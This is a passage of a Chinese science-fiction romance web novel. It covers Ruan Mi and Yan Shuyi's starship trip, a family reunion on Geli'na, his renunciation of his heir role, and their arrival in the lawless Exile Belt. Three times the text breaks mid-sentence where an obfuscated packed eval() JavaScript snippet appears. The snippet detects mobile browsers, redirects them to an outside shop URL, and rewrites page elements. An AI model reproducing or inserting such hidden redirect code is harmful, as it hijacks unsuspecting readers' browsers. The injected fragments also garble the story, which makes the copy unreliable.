如果有阮弥在言述一自然不需要这样应对,但未来充满未知,她不会任由最差的可能发生也不会全无准备。 等这场临时训练结束,离开地下室时阮弥只让言述一收好传送签。 “常用武器和药剂舰船上都有,只是品类没家里齐全。” 可言述一记得之前那艘跃迁舰上他并没有看到诸如此类的物件,像是知道他心中的疑问阮弥紧接着说道: “这次我们开另一艘。” 一声清脆的断裂声后,阮弥和言述一来到一处黑暗空间。 下一刻,各处亮起的灯条将阴影驱散,言述一意识到自己此刻正处在冰冷金属铸造的巨物之内。 这是阮弥的星舰,光是驾驶舱摆放的控制台就足足三四米长。 “比我想象中还要夸张。” 这不是言述一第一次登上大型舰艇,只不过上次在洛安的舰船上时阮弥不在,他没现在这么放松,一个人待在房间也没多余的心情去四处观赏。 “小意思啦小意思啦。”阮弥挥挥手,表面故作云淡风轻,实际上这是她在圣所和公会当牛做马换来的。 “走吧,我带你去录入访客权限。” 等到录入成功,目的地坐标确认后,阮弥控制飞船开始跃迁,经历一瞬短暂的失重感后广袤群星已然呈现在二人眼中。 到哥黎那还需要一段时间,阮弥和言述一在舱内闲逛起来。 “这舰艇哪里都很好,就是阮弥平时不怎么开吧。”言述一注意到几乎每个地方都很新,也没什么个人化装潢。 “嗯,大部分时候我都一个人做任务,之前那艘就完全够用,很多人一起的话公会有自己的飞船,组织那边基本是安安那艘。” 星舰往往用于星系之间的穿梭,阮弥当初挑选时已经考虑过人不会很多,所以一共只有上下两层。 和驾驶舱相连的公共休息厅,连接餐厅、储藏室、武器装备室,再往后是一个小型训练场,往下一层就是更加空荡的空间,目前只有阮弥的休息室、办公区,以及只放了治疗舱的开放治疗区。 “我只布置过自己的休息室,其他地方都是安安改造她那艘时顺便帮我弄的,上次开这艘船都快一年前了……” 她隐约记得那次任务的对象非常捧高踩低。 “所以这艘星舰在阮弥这里的作用就是撑场子吗?”言述一脸上带笑,他知道这次被撑场子的人是他自己。 “可以这么说。” 在视线转向某处后,言述一的笑容却忽地淡了下来。他看见摆放在房间一角的装置,他起初还以为阮弥在房间里也放了治疗舱,近看才发现那原来是仿生人休眠舱。 里面躺着个面容俊美的男性仿生人。 ……凭什么是它而不是他呢? 要是能更早遇见阮弥就好了,那样他就可以参与进没有他的过去里。言述一曾无数次这样想过,现在是又一次反复。 他想要了解阮弥更多,自然也就会对占据她过去的人或事物产生不同程度的恨意。 言述一几乎是迫不及待地想将这个仿生人扔到太空彻底销毁,可现在还不可以。等到他稍微平复心情转身,他看见阮弥在阅览从前任务的资料没注意到他这边的情况。 “阮弥。” “怎么了?”传入她耳中的声音很平稳,所以她注意力还在面前的信息上。 随即,她被人环住腰,被抱起坐在一处倾斜的平台,言述一抵住她没让她滑落。突如其来的举措让阮弥摸不着头脑,正当她想问他要做什么时,幽怨的声音在她耳边响起。 “阮弥,我没它好用吗?” 它是谁?被推在休眠舱上坐着的阮弥思考了那么一会,直到言述一指尖引导,她视线余光扫过在自己身下的仿生人。 ……她要把它扔太空里。 “它能做的事我都能做,什么都可以,如果阮弥介意的话我可以事后删掉自己的记忆……”话还没说完言述一就被阮弥捂住嘴。 这个家伙到底在说些什么啊!!! 她看了一眼言述一那又委屈又不甘的视线,讪讪移开后开口:“你不要说话,先听我说。” “首先,这个东西是别人送我的,我让她退回去她死活不干。”缜密的阮弥并没有透露好心人士的具体信息,“其次,我没用过,除了她那天非要激活后面基本躺在这里,我每次都忘了处理。” “最后,介于智械的存在,我怕它哪天有了自我意识还要让我负责。” “要是真的那样阮弥会不会负责呢?” “不会,我对智械不感兴趣。”她可受不了自己人老色衰对方始终如一,到时候拉着对方陪葬说不定还会被其余智械抗议,“如果真的那样我会给它钱让它销毁记忆再从内到外换个壳子。” 智械好就好在这方面,如果再不从就还是只能扔太空里销毁了,和现在一样的结局。 她没打算自证什么,解释和顺着言述一的假设也都是为了安抚。 快忘了这个早该被处理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594283|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉的仿生人吧,她莫名觉得要是现在不处理好以后会变成心腹大患。 言述一没有即刻回答,阮弥一直在被他直勾勾地盯着,先前布满双眼的情绪也不知何时就消散殆尽,取而代之的情绪是……跃跃欲试? “我其实不需要阮弥负责的。” 话音刚落言述一就被阮弥重新捂住嘴:“你不许说话!” 这是重点吗?深思熟虑半天的回应原来是这个吗? 他笑弯了眼,湿热的舌尖轻触她的掌心。 阮弥抽回手想要离开却被揽回,言述一扣紧她的手,在她耳边拉长语调道:“阮弥,对不起,我刚才是被这个仿生人吓到了。” 需要一个阮弥的吻来安抚。 身为人形的仿生人即便是在沉睡依然会给阮弥一种可能会醒来的忧虑,这就导致她进不得退不得,被某人不断索取。 言述一也不想让这个仿生人一直打扰自己和阮弥,这个吻没有持续很久。 可这一点火星就足以让尚有余温的灰烬重燃。 为什么事情会变成这样? 又一次倒在床上的阮弥在心底如是呐喊,接连不断的吻让一切升温,于细碎间隙中意识到自己太过忍让的阮弥决定奋起反抗,她反身把罪魁祸首按在身下。 “再亲就给我去休息厅睡!”船舱上只有她房间里一张床。 被擒住脖颈的言述一却笑容更盛。 ……她刚刚说的好像是惩罚不是奖励吧? “遵命长官。”他牵起阮弥的手指轻吻道,“我一定安分守己。” 接下来这段时间言述一倒是真的信守承诺,就只搂搂抱抱牵牵手,之前无节制的亲吻似乎是一场幻觉,甚至有些时候会让阮弥脑海中重新浮现出纯良无害这类形容词。 每每回忆起之前对言述一的片面认知,她就觉得自己真是错得离谱。 “早上好,未婚妻。”一觉睡醒,终端提示星舰已经抵达目的地,阮弥刚清醒的视线中就出现穿着浴袍肆无忌惮的言述一。 是了,托她亲生父亲想转移财产的福,她和言述一还有个婚约。 “早上坏,未婚夫。”阮弥咬牙切齿地移开视线,她怀疑言述一在故意勾引自己但她完全没办法阻止。 在出发前阮弥就给言家发了一封邮件说明来意,借口要执行公会秘密任务让他们不要大肆宣扬更不要举办宴会。 她倒是不在意什么言家,和她八竿子打不着,主要是让言述一见见他的母亲。 被迫的离别总是痛苦的。 虽说是见长辈但阮弥和言述一的穿衣风格也和平常没什么太大差别,只不过扎起头发会让阮弥有种在解决任务的既视感,她少见地挽起,而言述一则是用发夹束起长发末尾。 在即将跨越舱门离开时,言述一却视线低垂停在原地。 “我……有点紧张,是和出塔那天一样的感觉。” 在塔里的时候言述一清醒时会和母亲联系,后来离开塔也见过投影,在确认他能够一直清醒后她经常会发来信息问问他最近过得怎么样。 可他和母亲总归是许多年没见了,幼年的记忆即便再怎么挽留也会逐渐变得模糊不清。 明明是想念的,他却对即将到来的重逢感到害怕。 阮弥紧握他的手安抚道:“别怕。” “我会一直在你身边。” 29. 第 29 章 “家主,总督,小少爷。”管家依次问好道:“阮弥女士和少主到了。” 闻言,坐在客厅等待的三人起身,压抑心中的急切朝门外走去。经过长久思考后,言家家主没有在自己的外在着装上展示任何功勋。 言家上一代人在虫族肆虐的时代里建功立业,被索兰皇室授予军权世代驻守星系边境。 相比于自己许久未见的孩子,言家主心中却更在意另一个人,他无可避免地听说过阮弥的名号。 在有意掩饰的情况下,外界和民众眼中的索兰是内部政党一派祥和,推崇精神力的人类星系。实际上,索兰皇室和圣族分庭抗礼已久。 长久以来索兰政务都不再有圣所涉及,可凡事总有例外,皇室在有意拉拢阮弥。 于是她的名字时不时就会出现在各方口中,却从不见其人。传言她不愿意参加会议是因为觉得无聊,一开始各方还以为是圣所授意,直到发现圣所长老也很难见到阮弥才打消他们的猜忌。 傲慢、嚣张,不近人情……以及,绝对绝对不能招惹,这就是言家家主对阮弥的过往印象。 直到阮弥和言述一订婚的消息传开,往日面色惶恐的同僚纷纷向他发来祝贺送礼明里暗里的问询,就连皇室都有特意过问,言家家主这才明白阮弥是何等的重要。 所有人忌惮她,又想要拉拢她。 等候的人已经朝他们走来,言家家主再顾不上去回忆往昔,只见视线中出现两道陌生身影,他预想中的一切情绪全都消失,只留下怅然,他竟不知自己的孩子已经长成如今这般模样。 比寒暄先到来的是余飞鸢颤抖地呼喊:“述一……” 言述一记忆中自己曾无数次被同样温柔的语调呼喊,他想要靠近,却又觉得有无形的隔阂在阻碍他的前行,直到他被阮弥轻轻推了一把。 他抛开那些念头,上前半步就被余飞鸢紧紧搂入怀中,一切阻隔也自此消失无踪。 他张了张口,声音同样在微颤:“母亲……我回来了。” 谁都没有出声打破这场阔别已久的重逢,相互颔首示意后,言家主上前将妻子安抚下来:“先让孩子们进去吧。” 由于阮弥特地嘱咐此次行动隐秘,也就按照家宴的规格来布置。圆桌上,余飞鸢不断往阮弥和言述一碗里夹菜。 “这些都是我们哥黎那的特色菜,小弥要是吃不习惯就说,让厨房做其他的也很快,述一也是。” 哥黎那每年有很长时间都处在较为寒冷的状态,烹饪多是炖煮。 “没事的余总督,我们吃得习惯。”阮弥自己吃饭的选择其实永远都是那几道菜式,偶尔尝到不同的口味倒也觉得新鲜。 餐桌上大多数时候都是余飞鸢在和言述一说话,也常常问到阮弥。 期间言家主的视线时不时就会落在言述一身上,准确的是言述一过长的头发上,在他的印象中哥黎那的男性很少会留长发,每每抓到机会想开口就会被阮弥提前打断。 “子濯还在上学吗?还是说已经在军队了?” “阮弥姐,我刚结束学业不久,这段时间刚开始在军队里学习和训练。” 言子濯是言家次子,和身为特级向导的哥哥不同,他没有检测出任何精神力相关天赋,不过这也正是言家所期望的。 几次三番下来说不出话的言家主只能就此作罢。 用餐结束,众人都看得出来余飞鸢有许多话想和言述一说,言子濯主动开口道:“阮弥姐,我有些和虫族相关的问题可以请教你吗?” 除开军队之外,也就只有哨兵向导和虫族接触较多,在这之中阮弥尤甚。 和言述一对视一眼后,阮弥点点头,和言子濯一道离开去往书房。 书房是属于言家的公共工位,家主的,总督的,言子濯的在角落里。阮弥注意到还有一张桌椅,空旷却不曾堆积文件也不落一点尘灰,她知道那是属于言述一的。 “其实这是我的战术长官布置给所有人的课业……”在阮弥面前的言子濯略显局促。 一支携带攻击型基因的虫族逃往一颗硅基星球,数量大约一万。一个星际月之后,剿灭部队登陆星球测得的数据约莫十万,虫骸上不再测出攻击型基因而是全为存续型。 来自一份还未解封的档案,给了起因结果推导过程,长官笃定他们很难找到正确答案。 “战术课啊,你从中能得到的已知信息有些什么?”阮弥反问道。 “正常情况下,一个星际月的时间从一万到十万的数量算是很慢,问题在于硅基星球上虫群没有任何食物来源,预计最多数量也就三到四万,而且从攻击型到存续型基因迭代速度太快,类型也毫不相干。” 这个案例和过往言子濯学到的知识完全相悖。 “你认为哪几个地方是关键?” “基因转换的来由,还有虫母。长官没有公布具体基因组,只告诉我们虫群由一只重伤的虫母带领,最后剿灭部队没有发现虫母的尸骸。” “你觉得虫母去了哪里?” “有两种可能,逃走或是死去。一般来说逃走需要有攻击型虫群辅助突围,而攻击型和虫母全都消失不见,这也很难解释那十万存续型从何而来。” “那么虫母的死因是?” 伤势过重而死?这明显不是答案。思考半晌后言子濯脑海中跳出一个荒诞的念头:“总不能是被存续型吃了吧?可攻击型和存续型都是同一位虫母繁衍,以往就只是同类型虫群分支下强大吞并弱小……” 他也就敢在家里这么说,在学校会被狠狠驳斥,紧接着却看见阮弥点头肯定他的猜想。 “虫母要把存续型中的一部分当作食物,但是存续型基因优先于一切,它们杀死本就重伤的虫母,攻击型在抵抗但没有吞食同类的基因,最后也只能化作存续型的食物。” 存续型没了虫母,但自发分化出能繁衍的雌虫,用虫母和攻击型的尸骸继续扩大族群。 这是很特殊的情形,那位长官用这个案例大概是要让他们明白教学和实战是完全不同的情形。 “怎么还能这样?”言子濯不解,言子濯震惊,他看向从一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594284|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始就知道答案的人:“阮弥姐也好厉害,就像是亲眼见过一样……” 等等,不会真的见过吧? 还在保密协议期间的阮弥既没有承认也没有否认。 面对言子濯过于崇拜的目光阮弥无奈开口:“这样涉及星球的侵入也不是只靠某一人就能解决。”从前是这样,现在倒不一定。 又询问一些从前遗留的问题后,言子濯终端传来消息:“阮弥姐,母亲说她让哥哥来接你过去。” “好,那我先走了。”阮弥在离开前朝送言子濯道:“之后遇上什么问题也可以发信息问我。” “好!谢谢阮弥姐!”他知道不能过多打扰,但听见这话还是会感到开心。 目送阮弥远去后,言子濯心中轻松不少,在见到言家主的间隙他迫不及待想要分享这一喜悦: “父亲,我感觉阮弥姐也没传闻中那么可怕吧?性格确实是有些冷,但也就只是有点冷而已。”他在军队里也没少听说过阮弥。 言家主却很清楚其中原因:“我们是托了你哥的福。” 那些同僚的控诉中固然存在添油加醋的部分,可那不是个例,而是普遍现象。 “这倒也是。”言子濯恍然大悟,像是想起什么他又有些低沉下来,“哥哥好像还是不怎么喜欢我。” 言家主抬手摸摸他的脑袋,没有说话。 在不远处等到阮弥的言述一眼前一亮,第一时间就上前牵起阮弥的手:“子濯有没有麻烦到你?” “不麻烦,一点小问题。” “那就好。”言述一和自己的弟弟交流甚少,为数不多的联系是对方总会往他终端里分享照片,逢年过节也会问好,就算他回复很少也一直如此。 他对这个弟弟并没有多少亲切感,甚至他一度认为言子濯是自己被母亲抛弃的原因,直到后来他发现是圣所的人故意不让母亲进塔才停止那份不曾向任何人言说的憎恶。 可就算他清楚这份憎恶是圣所刻意造成和引导的,他心中也没办法就此释怀。 “怎么了?”察觉到身旁之人心绪不佳,阮弥紧了紧牵着言述一的手。 “没什么,想起来一些不太愉快的记忆。”他不太希望自己阴暗的心思被阮弥知晓,于是笑着转移话题道:“母亲给了我好多东西,我都不知道该怎么办才好。” 言述一没说不愉快的事是什么阮弥也就没有多问,她有预感,多半是和言子濯有关。 她能理解言述一无法对他们产生多深刻的情感,即便他们每个人心底都或多或少有属于言述一的位置,可她也明白这不是三言两语就能解开的心结,对言述一来说,只有余飞鸢是特殊的。 “心安理得收下就好,没能陪在你身边余总督是会感到亏欠的。” 听着阮弥轻声言语,言述一只觉有一团郁气堵在自己心口:“……即便,这从来都不是她的错?” “嗯,即便不是,她也会心怀愧疚。” 那些东西是一位母亲对孩子无处安放也无法弥补的爱。 她也曾获得过。 30. 第 30 章 “小弥来啦,来,坐这边。” 回以同样的微笑后阮弥靠近余飞鸢坐下,言述一则挨着阮弥。 握起阮弥的手,余飞鸢那双和言述一似而不同的鸢紫色眼眸中满是心痛:“小弥,这些年真是辛苦你了。” 余飞鸢和阮怀清从未相识,二人从前唯一的交集大概就是为了自家孩子调查过对方。身为母亲余飞鸢会因为不能陪伴在言述一身旁而日日夜夜感到愧疚,阮怀清又何尝不是? 索兰亏欠阮弥太多太多。 “小弥你肯定不缺什么,这些是我的一点心意。”余飞鸢将各大主星的地产、处在宜居带内风景不错的星球、资源矿区等等一系列转让协议交到阮弥手中,只需要签字就可以完成交接。 “不管将来发生什么,小弥,我以哥黎那总督之名向你承诺,我都会竭尽全力帮助你。” 手心传来的温度和那道坚定的目光足以让阮弥明白余飞鸢说的并不是场面话:“……谢谢。” “不用和我客气。”余飞鸢笑道。 “叩叩。”敲门声响起,被众人注视的秘书硬着头皮道:“总督,军务长说真的是有十万火急的事需要您定夺。” “啧。”余飞鸢想发作的脾气是忍了又忍,平复心情后转头面露歉意对阮弥轻声说道:“真不好意思小弥,我得先离开去处理事情了。” “没关系,也是我突然来访打扰总督你们了。” “小弥才不是打扰。”余飞鸢拍拍阮弥的手,她清楚烦人的家伙另有其人,“一会可以在家里转转,也可以让管家安排人带你们去市里逛逛,要玩得开心。” 阮弥点头应下:“好。” 还没等余飞鸢走出多远,阮弥和言述一就听见有人在挨骂:“你们这些废物是离了我就什么都做不了吗?” 彼此相视一眼都看见对方眼中的笑意,在管家的引路下,阮弥和言述一在庭院中闲逛起来。 哥黎那的建筑风格和带有宗教气息的瑟拉瑞斯完全不同,在圣所的干涉下,圣奎姆等地堆砌的圣洁纹样让人觉得压抑又虚假,哥黎那略显冷硬的简约风格却充满人的气息。 “总督和家主都很忙啊。”每个人都在承担各自职位所赋予的重任。 闻言言述一也道:“子濯最近也有个考核。” 听到他主动提起言子濯,阮弥面上一哂:“你还是很关心他的嘛。” “才没有。”他几乎是下意识地否认道。 风雪恰在此刻停歇,各怀思绪的二人坐在被薄雪覆盖的常青树下。度过略微漫长的无言后,阮弥握紧言述一的手出声打破寂静。 “你想留在这里吗?” 如果言家对言述一不好阮弥自然不可能问出口,可这里处处留有属于言述一的位置,不论是书房,还是先前路过的庭院一角,那里有很重的生活痕迹但依然为他留有一处空缺。 “当然,前提是你愿意的话,我希望你能拥有选择。” 阮弥没有看向言述一,她也不知道自己说出这样的想法是否会给对方带来伤害,也不知道是好是坏。 “我会尽我所能让事态沿着我所希望的方向发展,但我没办法保证最坏的情况绝对不会发生。” 流放带的情况并不算乐观,根据各方资料来看牵涉很广封锁严密。阮弥还不清楚为什么言述一会从小被送到圣所,但她想针对圣所的行为本身只是因为她个人的仇怨,她不会强加于人。 选择成为哨兵和选择前往流放带是一样的未知,她会承担死亡的风险,可这不代表言述一要和她一起,阮弥不认为因为喜欢这样的情感就要让对方和自己共同面临没有十足把握的困境。 “我会尊重你的选择,我们可以一起去流放带,我也会期待我们的重逢。” 这是她的想法,也是她的选择。 心中情绪翻涌的言述一看见那双如海面一般平静的眼在注视自己,他驳杂的思绪也像是沉进海底消失不见。 对阮弥来说拥有选择很重要,对他却不尽然,也可以说是他很早就已经做出他的选择。 自云翳中破出的暖阳洒落在彼此身上,同相牵的掌心一起让他心生炽热。 “在遇到阮弥之前我确实这样想过,等醒来之后或许我会回到这里。可我遇到了你,是你让我醒来,也是你让我不用再时时刻刻面临陷入昏睡的可能。” “不可否认我留在阮弥身边确实有这部分原因,但从一开始我想要的就不止于此。”言述一弯了弯眉眼坦然承认道。 “我大概就是个贪得无厌的家伙吧,无论是现在还是未来,我想去的地方只有你的身旁。” 迷茫藏于笑意之中,实际上言述一也不清楚自己是否应该回到言家:“其实我对家没有什么概念,这里对我来说重要的只有母亲。” “母亲不是会沉溺在过去的人,她有她的责任和追求,见到我她会开心但见不到我她也会好好生活下去。” 自小在白塔长大接受教导的他只从字面意思上理解过家的意义,存在社会关系,有血脉相连的亲人,也可以指代住所。单论言家,言述一并没有那么多无处安放的情感。 他也不知道这是否正确。 让灵魂为之悦动的情感要用什么去衡量呢?他不知道,言述一只知道他要留在阮弥身边,无论使用什么样的方法甚至是低劣的手段。 存于思绪的千千万万种假设中,无论是多么遥远的距离他都会来到阮弥身边。 “我也知道阮弥是在为我考虑。”所以,所以……他垂下眼,转过身拥住阮弥,愈发收紧的同时声音颤抖着宣泄出所有的不安: “不要抛下我。” 沾染彼此温度的拥抱短暂填补他心中惶恐。 “抱歉,是我把自己的想法强加于你了。”细碎的光点映入阮弥眼底,言述一不安的源头从她思绪中掠过却没被抓住,可他总归是在忧虑些什么。 她轻声道:“那就去流放带,解决完早些回去吧。” “我们一起。” 亲昵的姿态,安抚的耳语,可言述一眼中依旧布满化不开的阴翳。 “好。”他应下。 在离开言家之前,言述一还有最后一件要做的事。 言家书房,阮弥站在屋外等他,收回视线的言述一抬手叩门,在得到屋内之人的允许后他推门径直而入。 “父亲。”他在言家主不远处站定表明来意,“我要请辞少主之位。” “无论如何,都是子濯比我更为合适。” 圣所那些长老从小就在他耳边念叨什么地位钱财权力,对别人来说或许是重要的,但对于自诞生之时就拥有超乎常人力量的言述一而言,那些并不是什么不得不获得的东西。 不可否认这的确是他的幸运也是他的不幸,在遇到阮弥之后他才有了自己在活着的实感。 所以,无论言家主同意与否,他都会离开。 先前还在处理各种事务的言家主停下手中的动作,那副略显沧桑的面容上没有过多惊异,似乎对这一切早有预料。 言家主和言述一的感受大抵没什么差别,除开基因相似之外他们在彼此人生中占据的份额少之又少。 比陌生人好上几分,但也没好到哪里去,总之多少带点血脉相连的亲情,也仅止于此。 言家主思绪片刻后开口道:“于常理而言,我应该再多劝阻你一番,仔细询问这是不是你深思熟虑后做出的选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598888|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可站在个人角度理解来说,我认为你并不需要。” “述一,你是你母亲的孩子,也是言家的一分子,不管将来发生什么哥黎那永远会有你的容身之所。” 言述一顿了顿,脸上带着浅笑回道:“好的,父亲。” 不,他想,自己或许会有在言家短暂停留的可能,但永远不会在这里驻足。 永远不会。 离别来得很快,这次重逢不代表会有更长时间的分别。在言子濯关切的目光中,言述一轻叹口气,抬手摸了摸言子濯的脑袋道:“子濯,考核加油。” “我会的!”言子濯肉眼可见地开心起来,“哥哥,你和阮弥姐也要注意安全。” 言述一点头,看向余飞鸢简单道别:“母亲,保重。” 余飞鸢心有不舍,可她也清楚言述一绝不会永远留在自己身边,他会有自己想要去往的地方,有自己追随的方向。 “小弥,述一,你们也要多加小心。” “等之后有空我们会多来打扰。”阮弥会面对最坏的可能但也心怀希冀,她不认为这会是一场永别。 余飞鸢失笑:“随时欢迎。” 哥黎那所在星域距离流放带不算很远,只需一次跃迁就可以来到流放带边缘。 舷窗可以窥见流放带的一角:破碎、无序、失衡。流放带是一片停滞的星域,没有恒星,没有任何光亮,无数人前仆后继铸成的星间环状巨构,不断地被破坏、修补,循环往复。 阮弥设置的目的地不是流放带核心区,那里已经被人封锁,她将星舰停在一处巨构残骸之下。 在离开星舰前还需要做些准备,除开武器和物资之外必要的就是身份伪装。 流放带属于三不管区域是绝对的灰色地带,不管是永暮索兰还是曜尘,包括其余小型人类星系都可以来到此处,这里欢迎普通人、逃难者、通缉犯,唯独不欢迎在各个星系有名有姓的重要人物,有赏金的除外。 来了流放带就要抛弃其他地方的所有,这是不约而同的规则。 勉强算是流放带常客的阮弥自然有备用身份,她按下臂环,一层银白物质从中涌出遍布全身,指纹、面容、连同每一根发丝都被隐匿其中。 在这冷硬外壳之下,唯有跳动的心声证明她仍是人类。 越看阮弥身上的装扮言述一就越觉得眼熟,他记起自己是在哪里见过这样的特征:“流放带通缉榜首?” “很荣幸,是我本人。”阮弥两手一摊,声音也经过特殊处理,此刻的她已经与先前判若两人,任谁来都很难将阮弥和通缉榜上的银白投影关联在一起。 用来隐藏生物信息的设备言述一自然也得有,他挑了颈环,阮弥在给他调试,他的视线随着阮弥冰冷的指尖晃动。 “精神力也具有唯一性,设备能干扰,但代价是会增加一些负担,最好少用精神力……” 原先手中还中动作的阮弥忽然停下,目光自颈环上移看向言述一,还有被他轻咬住的手指。 她无奈道:“你是小狗吗?” “我可以是。”言述一看向阮弥的眉眼弯了又弯。 一切准备就绪后,阮弥换了艘较小的飞船去往流放带的边缘区。等到飞船停靠,步入视野的是一大片破败不堪的区域,建筑大多破损残缺,四下无人,只有更远处零星有些光亮。 眼前景象让阮弥心有疑虑:“以往这附近不会这么冷清。” 没走多远,远处传来的杂乱脚步引起阮弥的注意,她看声音来源的方向,一位看上去柔弱易碎又可怜的少年直直朝她扑来。 如果对方泪水汪汪的眼中没有一闪而过笑意的话。 “姐姐,救救我吧。” 31. 第 31 章 游蝶般的少年攀附上阮弥的手臂,躲在她身后,双眼含泪可怜兮兮道:“这些人不知道为什么一直在追我,姐姐,我好害怕。” 阮弥还什么都没说,在她身旁的言述一已经皱起眉头,原先紧随而至的追猎者远远停下脚步。 在银色外壳覆盖的表面上他们找不到被凝视的源头,身穿人类衣装却不似人类,由过往塑造的神经正在尖啸,驱使他们逃跑。 “是忒弥斯!” “谧罗和忒弥斯在一起!” “快走!” 很可惜,从他们出现的那一刻起就已经被禁锢在原地。 “哎呀呀,原来是忒弥斯大人,好久不见,我都差点没认出你呢。”看着面露惊恐的众人名为谧罗的少年脸上绽出极为热烈的笑。 她将手从阮弥臂间移开,指尖勾起。 一抹白光闪过,不过瞬息,先前还在追逐叫嚣的猎人已经死在猎物手中。 难以察觉的细丝是谧罗的武器,早在遇到阮弥之前就已经缠绕在那些人身上,只是需要一个恰如此刻的好时机。 飞溅的血液被隔空拦下,谧罗皱眉甩手抱怨起来:“这些人也真是的,我不过是闲来无事撬了几个锁就死咬着我不放……” 说到一半她谄媚地朝阮弥笑道:“还好我今天足够幸运遇到了忒弥斯大人~” “最近怎么样?”经过特殊处理的机械音调毫无起伏,阮弥不打算过多寒暄直截了当地询问道。 “我挺好的,如果忒弥斯大人只问的是我,至于别的……”谧罗很清楚这不是在唠家常,语调也依旧轻松,她带笑的眉眼轻飘飘掠过站在阮弥身旁一直警惕着她的言述一。 谧罗扬起嘴角,无所谓地摊开双手道:“基本都不那么好。” “百事通呢?” “嗯——”谧罗蹙眉短暂思考过后给出回答,“应该是死在某个角落了吧?他被人喂了虫子。” 翅膀振动的嗡嗡声堵住阮弥还没问出口的问题,随即,一只被精神力斩断双翅的飞虫坠落在她脚边。 有人在监视,会是谁? 还没等阮弥仔细观察,谧罗就忽然拉近与阮弥的距离,仰头无声开口对阮弥说:他们在看着你。 避免某人的敌意愈发加深,谧罗在传达完信息后假装依依不舍地拉开距离,懊恼道:“我们一定要在这站着聊天吗?一时半会肯定说不完,而且血快溢到我脚底下了。” 明白谧罗的用意后阮弥便做好决定:“走吧,我请客,你带路。” “好诶!” 流放带只要找对了地方,便是人群熙攘。 秘密之馆作为流放带知名高端会所,常常汇集富商名流、政治常客、叛军余孽、智械,甚至还有兽人。不论种族,不论星际归属,流放带包容一切。 正是有各种各样的个体存在,这里很难被监视或监听,毕竟随随便便一个画面一段语音就会牵扯无数的利益集团。 “老板~三个人,老规矩。”谧罗笑吟吟地朝吧台老板打了个招呼。 “行,老地方。”一身大红大紫、奢华名贵穿着的老板拉低墨镜看了阮弥一眼,“谧罗,你还真有能耐。” “那当然啦。”谧罗悠然自得地狐假虎威。 秘密之馆之所以能在流放带不断覆灭的组织中经久不衰除开背后主人的实力,贴心到极致的服务也是关键,同一个包房内人和人之间有用来隔绝的屏障,就连精神体也有自己的空间来大快朵颐。 用不着隐藏自己的谧罗已经点了数道喜欢的菜肴。 “没想到一向独行的忒弥斯大人这次竟然有了同伴。”谧罗从一开始就有些在意忒弥斯身边新出现的那人,“想必除了我,也有很多人在好奇。” “我们是同伴。”即便有隔绝空间,阮弥也不打算卸下伪装。 只是同伴吗?谧罗并不太相信,但继续追根问底就有些伤害她和忒弥斯好不容易建立的感情了,所以她选择见好就收。 “这样啊,先说回正事,现在流放带绝大多数地方都会被人监视,刚才那只虫子就是证明。” “总有人贼心不死,觉得自己天下无敌可以称王称霸,只不过一没人手二没科技顶着一颗只会白日做梦的脑袋被各大星系排除在外,谁承想呢,他们把主意打在了虫族身上。” “可成就‘一番大业’总归需要人手,他们盯上流放带很多人,针对不同的目标进行威逼利诱,百事通就是这么死的,还好我跑得快。” “如果忒弥斯大人你想知道他们的具体位置我爱莫能助,我只知道他们在流放带五区最活跃。” 一直杵着脑袋玩刀叉的谧罗看向阮弥:“不过,忒弥斯大人,你很着急吗?不如等一等好了,我想,他们会很乐意见到你。” 忒弥斯身为流放带通缉榜第一,在那些人眼中,她是一个能被他们拉拢的打手,一个能被利用的对象。 谧罗提供的信息和阮弥之前得到的大差不差,接下来主要目标是找到那些与虫为伍的家伙。现在很多人都知道她已经来到流放带,一直没有动静也会引起怀疑,她不会坐以待毙。 显然,谧罗也知道这一点。 “要来一次盛大的登场吗?刚好我有个很不错的目标。”兴致勃勃的谧罗没有掩饰自己心思的打算。 “有一群臭鱼烂虾我看他们不顺眼很久了,他们又基本都是群体行动我一个人打不过……他们和那些人有所往来但并不紧密,主要活动在二区,我猜是他们身上没有利用价值。” 谧罗饱含期待看向阮弥,流放带势力更迭速度很快,她十分清楚其中有大部分功劳都属于忒弥斯。 “那就他们吧。”垃圾迟早会被碾碎焚毁,并不需要挑个好日子。 “好诶!”谧罗喜悦之情溢于言表。 “对了,忒弥斯大人你从前好像对一个组织有些关注,那个无名组织最近也有些人被抓了起来。那部分人暂时还没有生命危险,估计还在评估她们背后势力的影响程度,我知道关押地点,可以亲自带路!” 阮弥心平气和地调侃道:“你知道的还是挺多的嘛。” “毕竟在这种动荡之时,我也得向强者投诚保全自身。”谧罗摊开双手,“我还是挺珍惜自己小命的。” “可以,我接受。” 